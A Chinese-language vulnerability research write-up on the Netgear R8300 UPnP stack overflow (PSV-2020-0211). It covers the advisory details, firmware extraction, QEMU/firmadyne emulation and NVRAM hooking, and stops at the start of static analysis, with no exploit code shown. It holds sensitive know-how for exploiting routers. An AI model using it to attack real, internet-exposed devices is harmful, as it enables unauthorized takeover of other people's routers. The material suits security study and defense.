Netgear_栈溢出漏洞_PSV-2020-0211

固件模拟与UPnP栈溢出利用
https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
https://paper.seebug.org/1311/#1
https://www.anquanke.com/post/id/217606

0x00 漏洞概要

漏洞编号: PSV-2020-0211
披露时间: 2020 -07-31 — Netgear 官方发布安全公告 2020-08-18 – 漏洞公开披露
影响厂商: Netgear
漏洞类型: 栈溢出漏洞
漏洞评分(CVSS): 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
利用条件: 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务,无需身份验证。
漏洞成因: 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。

0x01 威胁范围

影响范围: R8300 running firmware versions prior to 1.0.2.134
ZoomEye查询结果: Netgear R8300共有579台设备暴露在互联网上,绝大部分分布在美国,少量设备出现在欧洲

0x02 Qemu模拟

真机调试 硬件调试接口 uart
历史RCE NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞
设备后门开启telnet Unlocking the Netgear Telnet Console
固件篡改植入telnet
固件模拟 QEMU 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。
树莓派、开发板 只要 CPU 指令集对的上,就可以跑起来
firmadyne 基于qemu定制
Qemu STM32
Avatar 混合式仿真

嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf

由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别,可以看到R8300采用了squashfs文件系统格式

1
2
3
4
5
6
7
$ binwalk R8300-V1.0.2.130_1.0.99.chk

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38

使用 binwalk -Me 提取出 Squashfs 文件系统,可以看到R8300为ARM v5架构.

1
2
$ file usr/sbin/upnpd
usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped

firmadyne

直接使用firmadyne模拟R8300固件失败,一是网络接口初始化失败,二是NVRAM配置存在问题
原因可能是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
$ ./fat.py 'Path to R8300 firmware file'

__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|

Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme

[+] Firmware: R8300-V1.0.2.130_1.0.99.chk
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: []
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
**[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh**
[sudo] password for yjy:
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
[ 0.000000] Machine model: linux,dummy-virt
[ 0.000000] debug: ignoring loglevel setting.
[ 0.000000] Memory policy: Data cache writeback
[ 0.000000] On node 0 totalpages: 65536
[ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000
[ 0.000000] Normal zone: 512 pages used for memmap
[ 0.000000] Normal zone: 0 pages reserved
[ 0.000000] Normal zone: 65536 pages, LIFO batch:15
[ 0.000000] CPU: All CPU(s) started in SVC mode.
[ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
[ 0.000000] pcpu-alloc: [0] 0
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024
[ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0
[ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
[ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
[ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved)
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)
[ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB)
[ 0.000000] vmalloc : 0xd0800000 - 0xff000000 ( 744 MB)
[ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB)
[ 0.000000] modules : 0xbf000000 - 0xc0000000 ( 16 MB)
[ 0.000000] .text : 0xc0008000 - 0xc05c67bc (5882 kB)
[ 0.000000] .init : 0xc05c7000 - 0xc05f4000 ( 180 kB)
[ 0.000000] .data : 0xc05f4000 - 0xc061e840 ( 171 kB)
[ 0.000000] .bss : 0xc0621000 - 0xc06462d4 ( 149 kB)
[ 0.000000] NR_IRQS:16 nr_irqs:16 16
[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).
[ 0.000000] clocksource arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns
[ 0.000071] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns
[ 0.000128] Switching to timer-based delay loop, resolution 16ns
[ 0.001495] Console: colour dummy device 80x30
[ 0.001639] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
[ 0.001695] pid_max: default: 32768 minimum: 301
[ 0.002124] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.002142] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.005250] CPU: Testing write buffer coherency: ok
[ 0.008040] Setting up static identity map for 0x40008240 - 0x40008298
[ 0.015663] VFP support v0.3: implementor 41 architecture 4 part 30 variant f rev 0
[ 0.019946] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[ 0.025312] NET: Registered protocol family 16
[ 0.026714] DMA: preallocated 256 KiB pool for atomic coherent allocations
[ 0.028535] cpuidle: using governor ladder
[ 0.028604] cpuidle: using governor menu
[ 0.030202] genirq: Setting trigger mode 1 for irq 20 failed (gic_set_type+0x0/0x48)
[ 0.031001] genirq: Setting trigger mode 1 for irq 21 failed (gic_set_type+0x0/0x48)
[ 0.031154] genirq: Setting trigger mode 1 for irq 22 failed (gic_set_type+0x0/0x48)
[ 0.031310] genirq: Setting trigger mode 1 for irq 23 failed (gic_set_type+0x0/0x48)
[ 0.031466] genirq: Setting trigger mode 1 for irq 24 failed (gic_set_type+0x0/0x48)
[ 0.031614] genirq: Setting trigger mode 1 for irq 25 failed (gic_set_type+0x0/0x48)
[ 0.031756] genirq: Setting trigger mode 1 for irq 26 failed (gic_set_type+0x0/0x48)
[ 0.031900] genirq: Setting trigger mode 1 for irq 27 failed (gic_set_type+0x0/0x48)
[ 0.032378] genirq: Setting trigger mode 1 for irq 28 failed (gic_set_type+0x0/0x48)
[ 0.032530] genirq: Setting trigger mode 1 for irq 29 failed (gic_set_type+0x0/0x48)
[ 0.032670] genirq: Setting trigger mode 1 for irq 30 failed (gic_set_type+0x0/0x48)
[ 0.032819] genirq: Setting trigger mode 1 for irq 31 failed (gic_set_type+0x0/0x48)
[ 0.032959] genirq: Setting trigger mode 1 for irq 32 failed (gic_set_type+0x0/0x48)
[ 0.033118] genirq: Setting trigger mode 1 for irq 33 failed (gic_set_type+0x0/0x48)
[ 0.033256] genirq: Setting trigger mode 1 for irq 34 failed (gic_set_type+0x0/0x48)
[ 0.033394] genirq: Setting trigger mode 1 for irq 35 failed (gic_set_type+0x0/0x48)
[ 0.033536] genirq: Setting trigger mode 1 for irq 36 failed (gic_set_type+0x0/0x48)
[ 0.033681] genirq: Setting trigger mode 1 for irq 37 failed (gic_set_type+0x0/0x48)
[ 0.033849] genirq: Setting trigger mode 1 for irq 38 failed (gic_set_type+0x0/0x48)
[ 0.034017] genirq: Setting trigger mode 1 for irq 39 failed (gic_set_type+0x0/0x48)
[ 0.034163] genirq: Setting trigger mode 1 for irq 40 failed (gic_set_type+0x0/0x48)
[ 0.034311] genirq: Setting trigger mode 1 for irq 41 failed (gic_set_type+0x0/0x48)
[ 0.034462] genirq: Setting trigger mode 1 for irq 42 failed (gic_set_type+0x0/0x48)
[ 0.034612] genirq: Setting trigger mode 1 for irq 43 failed (gic_set_type+0x0/0x48)
[ 0.034766] genirq: Setting trigger mode 1 for irq 44 failed (gic_set_type+0x0/0x48)
[ 0.034921] genirq: Setting trigger mode 1 for irq 45 failed (gic_set_type+0x0/0x48)
[ 0.035088] genirq: Setting trigger mode 1 for irq 46 failed (gic_set_type+0x0/0x48)
[ 0.035258] genirq: Setting trigger mode 1 for irq 47 failed (gic_set_type+0x0/0x48)
[ 0.035408] genirq: Setting trigger mode 1 for irq 48 failed (gic_set_type+0x0/0x48)
[ 0.035554] genirq: Setting trigger mode 1 for irq 49 failed (gic_set_type+0x0/0x48)
[ 0.035698] genirq: Setting trigger mode 1 for irq 50 failed (gic_set_type+0x0/0x48)
[ 0.035841] genirq: Setting trigger mode 1 for irq 51 failed (gic_set_type+0x0/0x48)
[ 0.036126] genirq: Setting trigger mode 1 for irq 52 failed (gic_set_type+0x0/0x48)
[ 0.037808] Serial: AMBA PL011 UART driver
[ 0.038739] 9000000.pl011: ttyS0 at MMIO 0x9000000 (irq = 52, base_baud = 0) is a PL011 rev1
[ 0.093732] console [ttyS0] enabled
[ 0.106203] vgaarb: loaded
[ 0.108624] SCSI subsystem initialized
[ 0.111674] usbcore: registered new interface driver usbfs
[ 0.115340] usbcore: registered new interface driver hub
[ 0.118879] usbcore: registered new device driver usb
[ 0.126521] cfg80211: Calling CRDA to update world regulatory domain
[ 0.133497] Switched to clocksource arch_sys_counter
[ 0.147183] NET: Registered protocol family 2
[ 0.152842] TCP established hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.158337] TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.162885] TCP: Hash tables configured (established 2048 bind 2048)
[ 0.167385] UDP hash table entries: 256 (order: 0, 4096 bytes)
[ 0.171595] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[ 0.176698] NET: Registered protocol family 1
[ 0.179833] PCI: CLS 0 bytes, default 64
[ 0.185928] NetWinder Floating Point Emulator V0.97 (extended precision)
[ 0.192393] futex hash table entries: 256 (order: -1, 3072 bytes)
[ 0.201353] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[ 0.207858] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
[ 0.212517] romfs: ROMFS MTD (C) 2007 Red Hat, Inc.
[ 0.219896] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[ 0.225512] io scheduler noop registered
[ 0.228340] io scheduler cfq registered (default)
[ 0.232063] firmadyne: devfs: 1, execute: 1, procfs: 1, syscall: 0
[ 0.237165] ------------[ cut here ]------------
[ 0.240536] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x6c()
[ 0.248160] sysfs: cannot create duplicate filename '/class/gpio'
[ 0.252258] Modules linked in:
[ 0.254810] CPU: 0 PID: 1 Comm: swapper Not tainted 4.1.17+ #1
[ 0.259118] Hardware name: Generic DT based system
[ 0.262292] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
[ 0.262401] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
[ 0.262472] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
[ 0.262560] [<c0024b08>] (warn_slowpath_fmt) from [<c00e363c>] (sysfs_warn_dup+0x50/0x6c)
[ 0.262619] [<c00e363c>] (sysfs_warn_dup) from [<c00e3714>] (sysfs_create_dir_ns+0x74/0x84)
[ 0.262679] [<c00e3714>] (sysfs_create_dir_ns) from [<c018e6ac>] (kobject_add_internal+0xb8/0x2ac)
[ 0.262742] [<c018e6ac>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
[ 0.262801] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
[ 0.262860] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
[ 0.262918] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
[ 0.262981] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
[ 0.263053] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
[ 0.263113] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
[ 0.263229] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
[ 0.263287] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
[ 0.263383] ---[ end trace b31221f46a8dc90e ]---
[ 0.263460] ------------[ cut here ]------------
[ 0.263502] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/lib/kobject.c:240 kobject_add_internal+0x240/0x2ac()
[ 0.263572] kobject_add_internal failed for gpio with -EEXIST, don't try to register things with the same name in the same directory.
[ 0.263639] Modules linked in:
[ 0.263699] CPU: 0 PID: 1 Comm: swapper Tainted: G W 4.1.17+ #1
[ 0.263744] Hardware name: Generic DT based system
[ 0.263788] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
[ 0.263846] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
[ 0.263906] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
[ 0.263970] [<c0024b08>] (warn_slowpath_fmt) from [<c018e834>] (kobject_add_internal+0x240/0x2ac)
[ 0.264032] [<c018e834>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
[ 0.264091] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
[ 0.268034] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
[ 0.275667] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
[ 0.280619] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
[ 0.285445] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
[ 0.289737] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
[ 0.290664] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
[ 0.290727] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
[ 0.290797] ---[ end trace b31221f46a8dc90f ]---
[ 0.290872] firmadyne: Cannot create device class: gpio!
[ 0.291677] firmadyne: Cannot register character device: watchdog, 0xa, 0x82!
[ 0.291743] firmadyne: Cannot register character device: wdt, 0xfd, 0x0!
[ 0.345419] Non-volatile memory driver v1.3
[ 0.360206] brd: module loaded
[ 0.368143] loop: module loaded
[ 0.375773] vda: vda1
[ 0.380587] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.387584] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.394469] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.401256] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.402697] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.402848] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.403058] nand: device found, Manufacturer ID: 0x98, Chip ID: 0x39
[ 0.403112] nand: Toshiba NAND 128MiB 1,8V 8-bit
[ 0.403158] nand: 128 MiB, SLC, erase size: 16 KiB, page size: 512, OOB size: 16
[ 0.403555] flash size: 128 MiB
[ 0.403585] page size: 512 bytes
[ 0.403612] OOB area size: 16 bytes
[ 0.403640] sector size: 16 KiB
[ 0.403665] pages number: 262144
[ 0.403690] pages per sector: 32
[ 0.403715] bus width: 8
[ 0.405652] bits in sector size: 14
[ 0.408186] bits in page size: 9
[ 0.410586] bits in OOB size: 4
[ 0.412941] flash size with OOB: 135168 KiB
[ 0.416112] page address bytes: 4
[ 0.418491] sector address bytes: 3
[ 0.421054] options: 0x42
[ 0.423632] Scanning device for bad blocks
[ 0.497574] Creating 11 MTD partitions on "NAND 128MiB 1,8V 8-bit":
[ 0.504589] 0x000000000000-0x000000100000 : "NAND simulator partition 0"
[ 0.510956] 0x000000100000-0x000000200000 : "NAND simulator partition 1"
[ 0.517483] 0x000000200000-0x000000300000 : "NAND simulator partition 2"
[ 0.523079] 0x000000300000-0x000000400000 : "NAND simulator partition 3"
[ 0.528404] 0x000000400000-0x000000500000 : "NAND simulator partition 4"
[ 0.533683] 0x000000500000-0x000000600000 : "NAND simulator partition 5"
[ 0.538960] 0x000000600000-0x000000700000 : "NAND simulator partition 6"
[ 0.544362] 0x000000700000-0x000000800000 : "NAND simulator partition 7"
[ 0.549586] 0x000000800000-0x000000900000 : "NAND simulator partition 8"
[ 0.554998] 0x000000900000-0x000000a00000 : "NAND simulator partition 9"
[ 0.560167] 0x000000a00000-0x000008000000 : "NAND simulator partition 10"
[ 0.568706] tun: Universal TUN/TAP device driver, 1.6
[ 0.573024] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
[ 0.584170] PPP generic driver version 2.4.2
[ 0.587727] PPP BSD Compression module registered
[ 0.591009] PPP Deflate Compression module registered
[ 0.594922] PPP MPPE Compression module registered
[ 0.598416] NET: Registered protocol family 24
[ 0.601736] PPTP driver version 0.8.5
[ 0.604905] usbcore: registered new interface driver usb-storage
[ 0.610485] hidraw: raw HID events driver (C) Jiri Kosina
[ 0.614655] usbcore: registered new interface driver usbhid
[ 0.618555] usbhid: USB HID core driver
[ 0.621686] Netfilter messages via NETLINK v0.30.
[ 0.625702] nf_conntrack version 0.5.0 (3958 buckets, 15832 max)
[ 0.630752] ctnetlink v0.93: registering with nfnetlink.
[ 0.635472] ipip: IPv4 over IPv4 tunneling driver
[ 0.639820] gre: GRE over IPv4 demultiplexor driver
[ 0.643303] ip_gre: GRE over IPv4 tunneling driver
[ 0.649259] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 0.655447] arp_tables: (C) 2002 David S. Miller
[ 0.660480] Initializing XFRM netlink socket
[ 0.664155] NET: Registered protocol family 10
[ 0.670172] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 0.674635] sit: IPv6 over IPv4 tunneling driver
[ 0.680072] NET: Registered protocol family 17
[ 0.683649] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
[ 0.692092] Bridge firewalling registered
[ 0.694840] Ebtables v2.0 registered
[ 0.697697] 8021q: 802.1Q VLAN Support v1.8
[ 0.700677] Registering SWP/SWPB emulation handler
[ 0.705032] hctosys: unable to open rtc device (rtc0)
[ 0.713464] EXT4-fs (vda1): couldn't mount as ext3 due to feature incompatibilities
[ 0.721943] EXT4-fs (vda1): mounting ext2 file system using the ext4 subsystem
[ 0.732941] EXT4-fs (vda1): warning: mounting unchecked fs, running e2fsck is recommended
[ 0.740503] EXT4-fs (vda1): mounted filesystem without journal. Opts: (null)
[ 0.745898] VFS: Mounted root (ext2 filesystem) on device 254:1.
[ 0.752726] Freeing unused kernel memory: 180K (c05c7000 - c05f4000)
[ 0.790000] random: init urandom read with 3 bits of entropy available
nvram_get_buf: time_zone
sem_lock: Triggering NVRAM initialization!
nvram_init: Initializing NVRAM...
sem_get: Key: 410160c4
nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!
sem_get: Key: 410c0019
nvram_set_default_builtin: Setting built-in default values!
nvram_set: console_loglevel = "7"
sem_get: Key: 410c0019
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_lock: Unable to get semaphore!

Qemu自定义

  1. 配置arm虚拟机

使用Qemu模拟固件需要下载对应的arm虚拟机镜像,内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/

1
2
3
[debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2)  2013-12-17 02:43  1.7G   [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04  229M   
[initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M
[vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M

标准的虚拟机启动命令为

1
2
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2"

对于R8300固件,在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:

1
2
3
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`

与标准命令区别在于-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动之后输入用户名和密码,都是 root,为虚拟机分配 IP:

1
root@debian-armhf:~# ifconfig eth0 192.168.2.2/24

这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。

1
2
3
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
  1. 修复依赖

NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD 劫持以下函数符号。手动创建 /tmp/var/run 目录,再次运行提示缺少 /dev/nvram

1
$ arm-linux-gcc -Wall -fPIC -shared nvram.c  -o nvram.so
  • 劫持dlsym

nvram库的实现者还同时 hook 了 systemfopenopen 等函数,因此还会用到 dlsym/lib/libdl.so.0导出了该符号。

1
2
3
4
5
6
7
8
9
10
11
12
$ grep -r "dlsym" .
Binary file ./lib/libcrypto.so.1.0.0 matches
Binary file ./lib/libdl.so.0 matches
Binary file ./lib/libhcrypto-samba4.so.5 matches
Binary file ./lib/libkrb5-samba4.so.26 matches
Binary file ./lib/libldb.so.1 matches
Binary file ./lib/libsamba-modules-samba4.so matches
Binary file ./lib/libsqlite3.so.0 matches
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory

$ readelf -a *./lib/libdl.so.**0* | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
  • 配置tmp/nvram.ini信息

接下来要做的就是根据上面的日志补全配置信息,也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
  • 运行过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# ./usr/sbin/upnpd
# /dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory

# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd
# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'

# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x00b19008
[0x0002648c] custom_nvram initialised
[0x76eb7cb8] *fopen**('/tmp/nvram.ini', 'r') = 0x00b19008*
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 192.168.2.2
[nvram 2] hwver = R8500
[nvram 3] friendly_name = R8300
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr =
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'

0x03 静态分析

该漏洞的原理是使用strcpy函数不当,拷贝过长字符导致缓冲区溢出,那么如何到达溢出位置。
首先upnpd服务在sub_1D020() 中使用recvfrom()从套接字接收UDP数据包,并捕获数据发送源的地址。从函数定义可知,upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54

recvfrom recvfrom函数(经socket接收数据):

函数原型:int recvfrom(SOCKET s,void *buf,int len,unsigned int flags, struct sockaddr from,int fromlen);

相关函数 recv,recvmsg,send,sendto,socket

